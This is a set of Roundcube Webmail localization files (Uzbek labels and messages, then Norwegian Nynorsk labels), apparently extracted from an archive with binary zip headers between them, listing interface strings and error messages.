$labels['spellcheckignorenums'] = 'Raqamli so`zlarni o`tkazib yuborish';
$labels['spellcheckignorecaps'] = 'Katta harfdagi so`zlarni o`tkazib yuborish';
$labels['addtodict'] = 'Lug`atga qo`shish';
$labels['mailtoprotohandler'] = 'Bu ssilka uchun qayta ishlovchini ishga tushirish mailto:';
$labels['standardwindows'] = 'Popup oynalarini standart holda deb qarash';
$labels['forwardmode'] = 'xatni qayta uzatish';
$labels['inline'] = 'matnda';
$labels['asattachment'] = 'ilova ko`rinishida';
$labels['replyallmode'] = '[Barchaga javob berish] tugmasining dastlabki holdagi vazifasi';
$labels['replyalldefault'] = 'Barchaga javob berish';
$labels['replyalllist'] = 'Rassilka ro`yxatiga javob berish (agar topilsa)';
$labels['folder'] = 'Papka';
$labels['folders'] = 'Papkalar';
$labels['foldername'] = 'Papka nomi';
$labels['subscribed'] = 'Imzolangan';
$labels['messagecount'] = 'Xat';
$labels['create'] = 'Yaratish';
$labels['createfolder'] = 'Yangi papka yaratish';
$labels['managefolders'] = 'Papkalarni boshqarish';
$labels['specialfolders'] = 'Alohida papkalar';
$labels['properties'] = 'Xossalar';
$labels['folderproperties'] = 'Papka xossalari';
$labels['parentfolder'] = 'Asos papka';
$labels['location'] = 'Joylashgan o`rni';
$labels['info'] = 'Axborot';
$labels['getfoldersize'] = 'Papka o`lchamini ko`rsatish';
$labels['changesubscription'] = 'Obunani o`zgartirish';
$labels['foldertype'] = 'Katalog turi';
$labels['personalfolder'] = 'Shaxsiy katalog';
$labels['otherfolder'] = 'Boshqa foydalanuvchi katalogi';
$labels['sharedfolder'] = 'Birgalikdagi katalog';
$labels['findfolders'] = 'Papkalarni qidirish';
$labels['findcontacts'] = 'Kontaktlarni topish';
$labels['findmail'] = 'Xat xabarlarini topish';
$labels['namespace.personal'] = 'Shaxsiy';
$labels['namespace.other'] = 'Boshqa foydalanuvchilarniki';
$labels['namespace.shared'] = 'Umumiy';
$labels['dualuselabel'] = 'O\'z ichiga olishi mumkin';
$labels['dualusemail'] = 'xatlar';
$labels['dualusefolder'] = 'papkalar';
$labels['sortby'] = 'Saralash';
$labels['sortasc'] = 'O`sish tartibida';
$labels['sortdesc'] = 'Kamayish tartibida';
$labels['undo'] = 'Bekor qilish';
$labels['installedplugins'] = 'O`rnatilgan qo`shimcha paket(plugin)lar';
$labels['plugin'] = 'paketlar';
$labels['version'] = 'Versiya';
$labels['source'] = 'Manbaa';
$labels['license'] = 'Litsenziya';
$labels['support'] = 'Qo`lllab-quvvatlash';
$labels['savedsearches'] = 'Saqlangan izlashlar';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unikod';
$labels['english'] = 'Inglizcha';
$labels['westerneuropean'] = 'G`arbiy Yevropa';
$labels['easterneuropean'] = 'Sharqiy Yevropa';
$labels['southeasterneuropean'] = 'janubi-sharqiy Yevropa';
$labels['baltic'] = 'Boltiqbo`yi';
$labels['cyrillic'] = 'Kirillcha';
$labels['arabic'] = 'Arabcha';
$labels['greek'] = 'Grekcha';
$labels['hebrew'] = 'Ibroniycha';
$labels['turkish'] = 'Turkcha';
$labels['nordic'] = 'Skandinavcha';
$labels['thai'] = 'Taylandcha';
$labels['celtic'] = 'Keltcha';
$labels['vietnamese'] = 'Vetnamcha';
$labels['japanese'] = 'Yaponcha';
$labels['korean'] = 'Koreyscha';
$labels['chinese'] = 'Xitoycha';
$labels['arialabeltopnav'] = 'Oynalarni boshqarish';
$labels['arialabeltasknav'] = 'Dastur vazifalari';
$labels['arialabeltoolbar'] = 'Dastur uskunalar paneli';
$labels['arialabelactivetask'] = 'Faol topshiriq';
$labels['arialabelmessagessearchfilter'] = 'Xatlar ro`yxati filtri';
$labels['arialabelmailsearchform'] = 'Xatda izlash formasi';
$labels['arialabelcontactsearchform'] = 'Kontaktlarni izlash formasi';
$labels['arialabelmailquicksearchbox'] = 'El. pochta manzillarini qidirish so`rovini kiritish';
$labels['arialabelquicksearchbox'] = 'izlash so`rovi';
$labels['arialabelfoldersearchfilter'] = 'papka ro`yxatini filtrlash';
$labels['arialabelfoldersearchform'] = 'Papkalarni izlash formasi';
$labels['arialabelfolderlist'] = 'ВEl. pochta papkalarini tanlash';
$labels['arialabelmessagelist'] = 'El. pochta xatlari ro`yxati';
$labels['arialabelmailpreviewframe'] = 'Xatni dastlabki ko`rish';
$labels['arialabelmailboxmenu'] = 'Papka ustida ish bajarish menyusi';
$labels['arialabellistselectmenu'] = 'Ro`yxatni ajratish menyusi';
$labels['arialabelthreadselectmenu'] = 'Muhokamalar ro`yxati menyusi';
$labels['arialabelmessagelistoptions'] = 'Xatlar ro`yxati va saralashni tasvirlash parametrlari';
$labels['arialabelmailimportdialog'] = 'Xatni import qilish dialogi';
$labels['arialabelmessagenav'] = 'Xatlar bo`yicha navigatsiya';
$labels['arialabelmessagebody'] = 'Xat tarkibi';
$labels['arialabelmessageactions'] = 'Xat ustidan amallar';
$labels['arialabelcontactquicksearch'] = 'Kontaktlarni qidirish formasi';
$labels['arialabelcontactsearchbox'] = 'Kontakt qidirish so`rovini kiritish';
$labels['arialabelmessageheaders'] = 'Xat sarlavhasi';
$labels['arialabelforwardingoptions'] = 'Qayta uzatish xossalari';
$labels['arialabelreplyalloptions'] = 'Barchaga javob berish xossalari';
$labels['arialabelmoremessageactions'] = 'Xat ustida qo`shimcha amallar';
$labels['arialabelmarkmessagesas'] = 'Tanlangan xatlarga belgi qo`yish...';
$labels['arialabelcomposeoptions'] = 'Yaratish sozlamalari';
$labels['arialabelresponsesmenu'] = 'Avval tayyorlangan javoblar menyusi';
$labels['arialabelattachmentuploadform'] = 'ilovalarni chiqarish formasi';
$labels['arialabelattachmentmenu'] = 'Ilova sozlamalari';
$labels['arialabelattachmentpreview'] = 'Ilovlalarni tasvirlash';
$labels['ariasummarycomposecontacts'] = 'Qabul qiluvchi sifatida kontakt va guruhlarni tanlash';
$labels['arialabelcontactexportoptions'] = 'Kontaktlarni eksport qilish xossalari';
$labels['arialabelabookgroupoptions'] = 'Manzil kitobi/guruhi xossalari';
$labels['arialabelpreferencesform'] = 'Sozlamalar formasi';
$labels['arialabelidentityeditfrom'] = 'Shaxsiy ma`lumotlarni thrirlash formasi';
$labels['arialabelresponseeditfrom'] = 'Javobni tahrirlash formasi';
$labels['arialabelsearchterms'] = 'Izlash so`rovi';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop harakati menyusi';
$labels['helplistnavigation'] = 'Ro`yxat bo`yicha navigatsiya tugmalari';
$labels['helplistkeyboardnavigation'] = "Tepa/Past strelkalari: Qatorlar/tanlanganlar bo`yicha fokusni o`zgartiradi.
Probel: Fokus turgan qatorni belgilaydi.
Shift + tepa/past: Qo`shimcha tepa/past qatorni belgilaydi.
Ctrl + probel: Tanlanganlarda belgilanishlarni Qo`shadi/O`chiradi.";
$labels['helplistkeyboardnavmessages'] = "O`ng/chap strelkalar: muhokama etilayotgan xatlarni yoyish/berkitish сообщения обсуждения.
Enter: Tanlangan xatlarni ochish.
Delete: Tanlangan xatni Savatga solish.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Tanlangan kontaktni ochish.";
PK
h�\T���<�<$program/localization/uz/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Xatolik yuzaga keldi!';
$messages['loginfailed']  = 'Kirish amalga oshirilmadi.';
$messages['cookiesdisabled'] = 'Brauzeringiz kukilarni qabul qilmayapti.';
$messages['sessionerror'] = 'Sizning sessiyangizda xatolik mavjud yoki muddati tugagan.';
$messages['storageerror'] = 'Xotira serveriga bog‘lanib bo‘lmadi.';
$messages['servererror'] = 'Serverda xatoliik!';
$messages['servererrormsg'] = 'Serverda xatolik: $msg';
$messages['accountlocked'] = 'Kirishga urinishlar soni ko‘p bo‘ldi. Keyinroq urinib ko‘ring.';
$messages['connerror'] = 'Ulanishda xato (server bilan bog‘lanib bo‘lmadi)!';
$messages['dberror'] = 'Ma’lumotlar ombori bilan xatolik yuz berdi!';
$messages['windowopenerror'] = 'Popup oynalar bloklangan!';
$messages['requesttimedout'] = 'So‘rovni kutish vaqti tugadi';
$messages['errorreadonly'] = 'Amal bajariimadi. Papka faqat o‘qish uchun.';
$messages['errornoperm'] = 'Amalni bajarib bo‘lmadi. Ruxsat berilmagan.';
$messages['erroroverquota'] = 'Amalni bajarib bo‘lmadi. Bo‘sh joy qolmagan.';
$messages['erroroverquotadelete'] = 'Bo‘sh joy qolmagan. SHIFT+DEL ni bosib, xabarni o‘chirib tashlang.';
$messages['invalidrequest'] = 'Noto‘g‘ri so‘rov! Ma’lumot saqlanmadi.';
$messages['invalidhost'] = 'Server nomi noto‘g‘ri.';
$messages['nomessagesfound'] = 'Bu pochta qutisida xabarlar topilmadi.';
$messages['mailboxempty'] = 'Pochta qutisi bo‘sh';
$messages['nomessages'] = 'Xabarlar yo‘q';
$messages['refreshing'] = 'Yangilanmoqda...';
$messages['loading'] = 'Iltimos, kuting…';
$messages['uploading'] = 'Fayl yuklanmoqda...';
$messages['attaching'] = 'Fayl ilova qilinmoqda...';
$messages['uploadingmany'] = 'Fayllar yuklanmoqda...';
$messages['loadingdata'] = 'Ma’lumotlar yuklanmoqda...';
$messages['checkingmail'] = 'Yangi xatlar tekshirilmoqda...';
$messages['sendingmessage'] = 'Xat yuborilmoqda…';
$messages['messagesent'] = 'Xat muvaffaqiyatli yuborildi.';
$messages['savingmessage'] = 'Xat saqlanmoqda…';
$messages['messagesaved'] = 'Xat Qoralamalarga saqlandi.';
$messages['successfullysaved'] = 'Muvaffaqiyatli saqlandi.';
$messages['savingresponse'] = 'Javob matni saqlanmoqda...';
$messages['deleteresponseconfirm'] = 'Siz rostdan ham bu javob xatini o‘chirmoqchimisiz?';
$messages['addedsuccessfully'] = 'Manzillar kitobiga kontakt qo‘shildi.';
$messages['contactexists'] = 'Bu e-mail manzilga ega kontakt mavjud.';
$messages['contactnameexists'] = 'Bu nomdagi kontakt mavjud.';
$messages['blockedimages'] = 'Xavfsizlik yuzasidan rasmlarni yuklash bloklangan.';
$messages['encryptedmessage'] = 'Xat shifrlangan va ko‘rsatib bo`lmaydi. Server administratoriga murojaat eting.';
$messages['externalmessagedecryption'] = 'Bu shifrlangan xabar, uni brauzeringiz kengaytmasi orqali ochishingiz mumkin.';
$messages['nopubkeyfor'] = '$email uchun amaldagi ochiq kalit topilmadi';
$messages['nopubkeyforsender'] = 'Sizning jo‘natuvchi ekanligingizni tasdiqlash uchun amaldagi ochiq kalit mavjud emas. Siz faqat qabul qiluvchilar uchun shifrlashni istaysizmi?';
$messages['encryptnoattachments'] = 'Yuklab bo‘lingan ilovalarni shifrlab bo‘lmaydi. Iltimos ularni shifrash tahrirlovchisiga qayta yuklang';
$messages['searchpubkeyservers'] = 'Mavjud bo‘lmagan kalitlar uchun ochiq kalitlar serverini qidirishni istaysizmi?';
$messages['encryptpubkeysfound'] = 'Quyidagi ochiq kalitlar topildi:';
$messages['nocontactsfound'] = 'Kontaktlar topilmadi.';
$messages['contactnotfound'] = 'Kerakli kontakt topilmadi.';
$messages['sendingfailed'] = 'Xatni jo`natish amalga oshirilmadi.';
$messages['senttooquickly'] = 'Siz xat jo‘natishdan avval $sec sekund kutishingiz kerak.';
$messages['errorsavingsent'] = 'Jo‘natilayotgan xatni saqlashda xatolik yuz berdi.';
$messages['errorsaving'] = 'Saqlash jarayonida xatolik yuz berdi.';
$messages['errormoving'] = 'Xat(lar)ni ko‘chirishda xatolik yuz berdi.';
$messages['errorcopying'] = 'Xat(lar)dan nusxa olishda xatolik yuz berdi.';
$messages['errordeleting'] = 'Xat(lar)ni o‘chirishda xatolik yuz berdi.';
$messages['errormarking'] = 'Xat(lar)ni belgilashda xatolik yuz berdi.';
$messages['deletecontactconfirm']  = 'Siz rostdan ham tanlangan kontakt(lar)ni o‘chirmoqchimisiz?';
$messages['deletegroupconfirm']  = 'Siz rostdan ham tanlangan guruhni o‘chirmoqchimisiz?';
$messages['deletemessagesconfirm'] = 'Siz rostdan ham tanlangan xat(lar)ni o‘chirmoqchimisiz?';
$messages['deletefolderconfirm']  = 'Siz rostdan ham bu papkani o‘chirmoqchimisiz?';
$messages['purgefolderconfirm']  = 'Siz rostdan ham mazkur papkadagi barcha xatlarni o‘chirmoqchimisiz?';
$messages['contactdeleting'] = 'Kontakt(lar) o‘chirilmoqda...';
$messages['groupdeleting'] = 'Guruh o‘chirilmoqda...';
$messages['folderdeleting'] = 'Papka o‘chirilmoqda...';
$messages['foldermoving'] = 'Papka ko‘chirilmoqda...';
$messages['foldersubscribing'] = 'Papkaga obuna bo‘lish';
$messages['folderunsubscribing'] = 'Papkaga obunani bekor qilish';
$messages['formincomplete'] = 'Forma to‘liq to‘ldirilmadi.';
$messages['noemailwarning'] = 'Iltimos, to‘g‘ri elektron pochta manzilini kiriting.';
$messages['nonamewarning']  = 'Iltimos, Ismni kiriting.';
$messages['nopagesizewarning'] = 'Iltimos, sahifa o‘lchamini kiriting.';
$messages['nosenderwarning'] = 'Iltimos, jo‘natuvchi elektron manzilini kirting.';
$messages['norecipientwarning'] = 'Iltimos, kamida bir dona qabul qiluvchini kiriting.';
$messages['disclosedrecipwarning'] = 'Barcha qabul qiluvchilar boshqalarning elektron manzilini ko‘ra olishadi, buni oldini olish va ularning shaxiy daxlsizligini ta’minlash uchun BCC maydonidan foydalaning.';
$messages['disclosedreciptitle'] = 'Tashqi qabul qiluvchilar juda ko‘p.';
$messages['nosubjectwarning']  = '"Mavzu" maydoni to‘ldirilmagan. Uni to‘ldirishni istaysizmi?';
$messages['nosubjecttitle']  = 'Mavzusiz';
$messages['nobodywarning'] = 'Xatni matnsiz jo‘natmoqchimisiz?';
$messages['notsentwarning'] = 'Xat jo‘natilmadi va saqlanmagan o‘zgartirishlarga ega. Siz bu o‘zgarishlarni bekor qilishni istaysizmi?';
$messages['restoresavedcomposedata'] = 'Avval $date da yaratilgan biroq, jo‘natilmagan $subject\n mavzudagi xat mavjud.Bu xatni qayta tiklashni istaysizmi?';
$messages['nosearchname'] = 'Iltimos, Ism yoki elektron pochta manzilini kiriting.';
$messages['notuploadedwarning'] = 'Barcha ilovalar hali yuklanmadi, Iltimos kuting yoki yuklashni bekor qiling.';
$messages['searchsuccessful'] = '$nr ta xat topildi.';
$messages['contactsearchsuccessful'] = '$nr ta kontaktlar topildi.';
$messages['searchnomatch'] = 'Hech narsa topilmadi.';
$messages['searching'] = 'Qidirilmoqda...';
$messages['checking'] = 'Tekshirilmoqda...';
$messages['stillsearching'] = 'Hali ham qidirilmoqda...';
$messages['nospellerrors'] = 'Imlo xatolar topilmadi.';
$messages['folderdeleted'] = 'Papka muvaffaqqiyatli o‘chirildi.';
$messages['foldersubscribed'] = 'Papkaga obuna muvaffaqqiyatli o‘rnatildi.';
$messages['folderunsubscribed'] = 'Papkaga obuna bekor qilindi.';
$messages['deletedsuccessfully'] = 'O‘chirildi.';
$messages['converting'] = 'Formatlashni o‘chirish...';
$messages['messageopenerror'] = 'Serverdan xatni yuklash amalga oshirilmadi.';
$messages['filelinkerror'] = 'Ilovani qo‘shish amalga oshirilmadi.';
$messages['fileuploaderror'] = 'Faylni yuklashda xatolik yuz berdi.';
$messages['filesizeerror'] = 'Yuklanayotgan fayl o‘lchami maksimal $size o‘lchamdan katta.';
$messages['filecounterror'] = 'Siz bir vaqtda $count ta fayl jo‘nata olasiz.';
$messages['msgsizeerror'] = 'Faylni yuklash amalga oshirilmadi. Xating maksimal o‘lchami ($size) dan oshgan.';
$messages['copysuccess'] = '$nr ta kontaktdan nusxa olish muvaffaqqiyatli amalga oshirildi.';
$messages['movesuccess'] = '$nr ta kontakt muvaffaqqiyatli ko‘chirildi.';
$messages['copyerror'] = 'Kontaktlardan nusxa olinmadi.';
$messages['moveerror'] = 'Kontaktlar ko‘chirilmadi.';
$messages['sourceisreadonly'] = 'Mazkur manzillar manbaasi faqat o‘qish uchun.';
$messages['errorsavingcontact'] = 'Kontakt manzillari saqlanmadi,';
$messages['movingmessage'] = 'Xat(lar)ni ko‘chirish...';
$messages['copyingmessage'] = 'Xat(lar)dan nusxa olish...';
$messages['copyingcontact'] = 'Kontakt(lar)dan nusxa olish ...';
$messages['movingcontact'] = 'Kontakt(lar)ni ko‘chirish...';
$messages['deletingmessage'] = 'Xat(lar)ni o‘chirish...';
$messages['markingmessage'] = 'Xat(lar)ni belgilash....';
$messages['addingmember'] = 'Kontakt(lar)ni guruhga qo‘shish...';
$messages['removingmember'] = 'Kontakt(lar)ni guruhdan o‘chirish';
$messages['receiptsent'] = 'O‘qilganlik haqida eslatma muvaffaqqiyatli jo‘natildi.';
$messages['errorsendingreceipt'] = 'O‘qilganlik haqida eslatma muvaffaqqiyatli jo‘natilmadi.';
$messages['deleteidentityconfirm'] = 'Siz rostdan ham buni o‘chirmoqchimisiz?';
$messages['nodeletelastidentity'] = 'Siz buni o‘chira olmaysiz, bu sizdagi oxirgi profil.';
$messages['forbiddencharacter'] = 'Papka nomida ruxsat etilmagan simvol mavjud.';
$messages['selectimportfile'] = 'Yuklash uchun faylni tanlang.';
$messages['addresswriterror'] = 'Tanlangan manzillar kitobida yozish uchun imkon yo‘q.';
$messages['contactaddedtogroup'] = 'Kontaktlar guruhga qo‘shildi.';
$messages['contactremovedfromgroup'] = 'Kontaktlar guruhdan o‘chirildi.';
$messages['nogroupassignmentschanged'] = 'Guruhlar bo‘yicha taqsimlash o‘zgarmadi.';
$messages['importwait'] = 'Import qilinmoqda, iltimos kuting...';
$messages['importformaterror'] = 'Import amalga oshmadi. Yuklanayotgan fayl no’malum ma’lumotlar formatiga ega.';
$messages['importconfirm'] = '<b> $inserted kontaktlar import qilindi</b>';
$messages['importconfirmskipped'] = '<b> $skipped  mavjud yozuvlar o‘tkazib yuborildi</b>';
$messages['importmessagesuccess'] = '$nr ta xat import qilindi.';
$messages['importmessageerror'] = 'Import muvaffaqqiyatsiz amalga oshdi. Yuklanayotgan fayl xat fayli yoki pochta qutisi fayli emas.';
$messages['opnotpermitted'] = 'Harakat ta’qiqlangan!';
$messages['nofromaddress'] = 'Tanlangan profilda e-mail manzili yetishmayapti.';
$messages['editorwarning'] = 'Tahrirchini almashtirishda matn farmatida yo‘qolishlar kuzatilishi mumkin. Davom ettirishni istaysizmi?';
$messages['httpreceivedencrypterror'] = 'Serverda jiddiy xatolik kuzatildi. Zudlik bilan administratorga murojaat eting. <b>Sizning xatingizni jo‘natishning imkoni yo\'q </b>';
$messages['smtpconnerror'] = 'SMTP xatolik ($code): Serverga ulanish muvaffaqqiyatsiz.';
$messages['smtpautherror'] = 'SMTP xatolik ($code): Autentifikatsiya muvaffaqqiyatsiz amalga oshdi.';
$messages['smtpfromerror'] = 'SMTP Xatolik($code): "$from" ($msg) jo‘natuvchini belgilash amalga oshmadi. ';
$messages['smtptoerror'] = 'SMTP Xatolik($code): "$from" ($msg) qabul qiluvchini belgilash amalga oshmadi. ';
$messages['smtprecipientserror'] = 'Qabul qiluvchilar ro‘yxatini qayta ishlash amalga oshirilmadi.';
$messages['smtperror'] = 'SMTP xatolik: $msg';
$messages['emailformaterror'] = 'Noto‘g‘ri elektron manzil: $email';
$messages['toomanyrecipients'] = 'Qabul qiluvchilar soni ko‘p/ Qabul qiluvchilar sonini $max ga qadar kamaytiring.';
$messages['maxgroupmembersreached'] = 'Guruh a’zolari soni maksimal $max qiymatdan ortiq.';
$messages['internalerror'] = 'ichki xatolik kuzatildi. Iltimos, qaytadan urinib ko‘ring.';
$messages['contactdelerror'] = 'Kontakt(lar)ni o‘chirish amalga oshirilmadi.';
$messages['contactdeleted'] = 'Kontakt(lar) o‘chirildi.';
$messages['contactrestoreerror'] = 'O‘chirilgan kontakt(lar) qayta tiklanmadi.';
$messages['contactrestored'] = 'Kontakt(lar) qayta tiklandi.';
$messages['groupdeleted'] = 'Guruh o‘chirildi.';
$messages['grouprenamed'] = 'Guruh qayta nomlandi.';
$messages['groupcreated'] = 'Guruh yaratildi.';
$messages['savedsearchdeleted'] = 'Saqlangan izlash so‘rovi o‘chirildi.';
$messages['savedsearchdeleteerror'] = 'Saqlangan izlash so‘rovini o‘chirish amalga oshmadi.';
$messages['savedsearchcreated'] = 'Saqlangan izlash so‘rovi muvaffaqqiyatli yaratildi.';
$messages['savedsearchcreateerror'] = 'Saqlangan izlash so‘rovi yaratilmadi.';
$messages['messagedeleted'] = 'Xat(lar) o‘chirildi.';
$messages['messagemoved'] = 'Xat(lar) ko‘chirildi.';
$messages['messagemovedtotrash'] = 'Xat(lar) savatga jo‘natildi.';
$messages['messagecopied'] = 'Xat(lar)dan nusxa olindi.';
$messages['messagemarked'] = 'Xat(lar)ga belgi qo‘yildi.';
$messages['autocompletechars'] = 'Avto to‘ldirish uchun kamida $min ta simvol kiriting.';
$messages['autocompletemore'] = 'Qidiruv so‘rovi ko\'plab yozuvlarni topdi. Iltimos so‘rovni aniqlashtiring.';
$messages['namecannotbeempty'] = 'Nom bo‘sh bo‘lmasligi lozim.';
$messages['nametoolong'] = 'Nom juda uzun.';
$messages['namedotforbidden'] = 'Papka nomi nuqta bilan boshlanmasligi kerak.';
$messages['folderupdated'] = 'Papka yangilandi.';
$messages['foldercreated'] = 'Papka yaratildi.';
$messages['invalidimageformat'] = 'Rasm formati noto‘g‘ri';
$messages['mispellingsfound'] = 'Xatda imlo xatolar mavjud.';
$messages['parentnotwritable'] = 'Tanlangan asos papkada boshqa papka yaratish/ko‘chirishni imkoni yo‘q. Ruxsat berilmaganl';
$messages['messagetoobig'] = 'Xat qismi qayta ishlash uchun juda katta.';
$messages['noscriptwarning'] = 'DIQQAT: Veb pochtaning mazkur xizmati javascriptni talab etadi. Uni ishlatish uchun brauzeringizda javascriptni qo‘llalb-quvvatlashni faollashtirishingiz lozim.';
$messages['messageissent'] = 'Xat jo‘natildi, biroq hali saqlanmadi. Uni hozir saqlashni istaysizmi?';
$messages['errnotfound'] = 'Fayl topilmadi';
$messages['errnotfoundexplain'] = 'So‘ralgan resurs topilmadi!';
$messages['errfailedrequest'] = 'Muvaffaqqiyatsiz so‘rov';
$messages['errauthorizationfailed'] = 'Muvaffaqqiyatsiz avtorizatsiya';
$messages['errunauthorizedexplain'] = 'Siz bu xizmatga kirish huquqiga ega ekanligingizni tekshirish amalga oshirilmadi.';
$messages['errrequestcheckfailed'] = 'Tekshiruv so‘rovi muvaffaqiyatsiz';
$messages['errcsrfprotectionexplain'] = "Sizning xavfsizligingizni ta’minlash maqsadida bu resursga kirish CSRF dan himoyalangan.\n Agar siz buni ko‘rayotgan bo‘lsangiz, siz veb dasturdan chiqishdan avval tizimni tark etmadingiz,\n\n Davom ettirish uchun inson harakati talab etiladi.";
$messages['errcontactserveradmin'] = 'Server administratoriga murojaat eting.';
$messages['clicktoresumesession'] = 'Avvalgi sessiyani davom ettirish uchn bu yerni bosing';
$messages['errcomposesession'] = 'Xatni yozish seansida xatolik';
$messages['errcomposesessionexplain'] = 'So‘ralgan xatni yozish seansi topilmadi.';
$messages['clicktocompose'] = 'Yangi xat yozish uchun bu yerni bosing';
PK
h�\>Bk��J�J%program/localization/nn_NO/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Velkomen til $product';
$labels['username'] = 'Brukarnamn';
$labels['password'] = 'Passord';
$labels['server'] = 'Tenar';
$labels['login'] = 'Logg inn';
$labels['logout'] = 'Logg ut';
$labels['mail'] = 'E-post';
$labels['settings'] = 'Personlege innstillingar';
$labels['addressbook'] = 'Adressebok';
$labels['inbox'] = 'Innboks';
$labels['drafts'] = 'Kladd';
$labels['sent'] = 'Sendt';
$labels['trash'] = 'Sletta';
$labels['junk'] = 'Søppel';
$labels['subject'] = 'Emne';
$labels['from'] = 'Frå';
$labels['sender'] = 'Avsendar';
$labels['to'] = 'Til';
$labels['cc'] = 'Kopi til';
$labels['bcc'] = 'Blindkopi til';
$labels['replyto'] = 'Svar til';
$labels['followupto'] = 'Oppfølging til';
$labels['date'] = 'Dato';
$labels['size'] = 'Storleik';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organisasjon';
$labels['readstatus'] = 'Lesestatus';
$labels['listoptions'] = 'Listeinnstillingar …';
$labels['mailboxlist'] = 'Mapper';
$labels['messagesfromto'] = 'Melding $from til $to av $count';
$labels['threadsfromto'] = 'Tråd $from til $to ($count stk)';
$labels['messagenrof'] = 'Melding $nr av $count';
$labels['fromtoshort'] = '$from-$to av $count';
$labels['copy'] = 'Kopier';
$labels['move'] = 'Flytt';
$labels['moveto'] = 'flytt til …';
$labels['download'] = 'Last ned';
$labels['showattachment'] = 'Vis';
$labels['showanyway'] = 'Vis likevel';
$labels['filename'] = 'Filnamn';
$labels['filesize'] = 'Filstorleik';
$labels['addtoaddressbook'] = 'Legg til i adressebok';
$labels['sun'] = 'Sun';
$labels['mon'] = 'Mån';
$labels['tue'] = 'Tys';
$labels['wed'] = 'Ons';
$labels['thu'] = 'Tor';
$labels['fri'] = 'Fre';
$labels['sat'] = 'Lau';
$labels['sunday'] = 'Sundag';
$labels['monday'] = 'Måndag';
$labels['tuesday'] = 'Tysdag';
$labels['wednesday'] = 'Onsdag';
$labels['thursday'] = 'Torsdag';
$labels['friday'] = 'Fredag';
$labels['saturday'] = 'Laurdag';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Des';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'Mars';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Desember';
$labels['today'] = 'I dag';
$labels['refresh'] = 'Frisk opp att';
$labels['checkmail'] = 'Sjå etter nye meldingar';
$labels['compose'] = 'Skriv ei melding';
$labels['writenewmessage'] = 'Skriv ei ny melding';
$labels['reply'] = 'Svar';
$labels['replytomessage'] = 'Svar til avsendar';
$labels['replytoallmessage'] = 'Svar til avsendar og alle mottakarar';
$labels['replyall'] = 'Svar til alle';
$labels['replylist'] = 'Svar til liste';
$labels['forward'] = 'Vidaresend';
$labels['forwardinline'] = 'Send vidare innbygd';
$labels['forwardattachment'] = 'Vidresend som vedlegg';
$labels['forwardmessage'] = 'Vidaresend meldinga';
$labels['deletemessage'] = 'Slett meldinga';
$labels['movemessagetotrash'] = 'Flytt meldinga til «sletta»';
$labels['printmessage'] = 'Skriv ut meldinga';
$labels['previousmessage'] = 'Vis førre melding';
$labels['firstmessage'] = 'Vis den første meldinga';
$labels['nextmessage'] = 'Vis den neste meldinga';
$labels['lastmessage'] = 'Vis den siste meldinga';
$labels['backtolist'] = 'Tilbake til meldingslista';
$labels['viewsource'] = 'Vis kjelde';
$labels['mark'] = 'Merke';
$labels['markmessages'] = 'Marker meldingar';
$labels['markread'] = 'Som lese';
$labels['markunread'] = 'Som ulese';
$labels['markflagged'] = 'Som flagga';
$labels['markunflagged'] = 'Som uflagga';
$labels['moreactions'] = 'Fleire handlingar';
$labels['more'] = 'Meir';
$labels['back'] = 'Tilbake';
$labels['options'] = 'Innstillingar';
$labels['select'] = 'Vel';
$labels['all'] = 'Alle';
$labels['none'] = 'Ingen';
$labels['currpage'] = 'Gjeldande side';
$labels['isread'] = 'Lese';
$labels['unread'] = 'Uleste';
$labels['flagged'] = 'Flagga';
$labels['unanswered'] = 'Ikkje svara';
$labels['deleted'] = 'Sletta';
$labels['undeleted'] = 'Ikkje sletta';
$labels['invert'] = 'Inverter';
$labels['filter'] = 'Filtrer';
$labels['list'] = 'List opp';
$labels['threads'] = 'Trådar';
$labels['expand-all'] = 'Utvid alle';
$labels['expand-unread'] = 'Utvid ulesne';
$labels['collapse-all'] = 'Slå saman alle';
$labels['threaded'] = 'Tråda';
$labels['autoexpand_threads'] = 'Utvid eposttråder';
$labels['do_expand'] = 'alle tråder';
$labels['expand_only_unread'] = 'berre med ulesne epostar';
$labels['fromto'] = 'Sendar/Mottakar';
$labels['flag'] = 'Flagg';
$labels['attachment'] = 'Vedlegg';
$labels['nonesort'] = 'Ingen';
$labels['sentdate'] = 'Sendtdato';
$labels['arrival'] = 'Mottaksdato';
$labels['asc'] = 'Alfabetisk';
$labels['desc'] = 'Motsatt alfabetisk';
$labels['listcolumns'] = 'Vis kolonner';
$labels['listsorting'] = 'Sorteringskolonne';
$labels['listorder'] = 'Sorteringsveg';
$labels['listmode'] = 'Listevisningmodus';
$labels['layoutlist'] = 'List opp';
$labels['folderactions'] = 'Mappehandlingar';
